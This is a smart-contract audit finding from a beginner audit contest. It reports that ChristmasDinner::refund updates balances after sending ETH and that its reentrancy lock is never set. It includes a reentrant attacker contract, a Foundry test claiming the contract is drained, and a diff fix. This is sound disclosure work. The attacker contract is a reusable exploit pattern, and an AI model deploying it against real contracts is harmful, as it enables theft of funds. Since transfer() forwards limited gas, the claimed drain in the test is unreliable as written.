Christmas Dinner
First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack in `ChristmasDinner::refund` allows entrant to drain contracts ETHER balance

joesepherus

Summary

The ChristmasDinner contract is vulnerable to re-entrancy attack in the ChristmasDinner::refund function.

Vulnerability Details

The ChristmasDinner::refund function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance. Additionally the nonReentrant function is not properly implemented, the locked state variable is not set to true anywhere making the modifier useless. This modifier adds a false sense of security as seen in the developers comments.

Then the function ChristmasDinner::refund calls _refundETH where it transfers all the msg.senders ETH to his address and only after that it updates the ChristmasDinner::etherBalance array.

function _refundETH(address payable _to) internal {
uint256 refundValue = etherBalance[_to];
@> _to.transfer(refundValue);
@> etherBalance[_to] = 0;
}

Impact

All the ETHER balance of the ChristmasDinner contract could be stolen.

Tools Used

Manual review

Proof of Concept

  1. User deposit ETH to the contract

  2. Attacker sets up a contract with a fallback function that calls ChristmasDinner::refund

  3. Attacker ETH to the contract

  4. Attacker calls ChristmasDinner::refund from their attack contract, draining the ChristmasDinner balance.

PoC Code

Add the following to ChristmasDinner.t.sol

contract Reentrancy {
ChristmasDinner christmasDinner;
​
constructor(ChristmasDinner _christmasDinner) {
christmasDinner = _christmasDinner;
}
​
function attack() public payable {
(bool success, ) = address(christmasDinner).call{value: 1e18}("");
require(success, "Failed to send Ether");
christmasDinner.refund();
}
​
receive() external payable {
if (address(christmasDinner).balance >= 1 ether) {
christmasDinner.refund();
}
}
}

Add following test:

function test_refundReentrancy() public {
address payable _cd = payable(address(cd));
vm.deal(user1, 10e18);
vm.prank(user1);
(bool sent,) = _cd.call{value: 3e18}("");
require(sent, "transfer failed");
assertEq(user1.balance, 7e18);
assertEq(address(cd).balance, 3e18);
​
vm.deal(address(reentrancy), 100e18);
assertEq(address(reentrancy).balance, 100e18);
reentrancy.attack();
// Assert the christmasDinner's balance is drained
assertEq(address(cd).balance, 0);
// Assert the attacker gained the funds
assertEq(address(reentrancy).balance, 103e18);
}

Recommendations

Recommendation: To prevent this, we should have the ChristmasDinner::refund function update the etherBalance array before making the transfer call. Also fix the nonReentrant modifier to set the locked to true.

function _refundETH(address payable _to) internal {
uint256 refundValue = etherBalance[_to];
+ etherBalance[_to] = 0;
_to.transfer(refundValue);
- etherBalance[_to] = 0;
}
​
​
modifier nonReentrant() {
require(!locked, "No re-entrancy");
+ locked = true;
_;
locked = false;
}
​
Updates

Lead Judging Commences

0xtimefliez Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.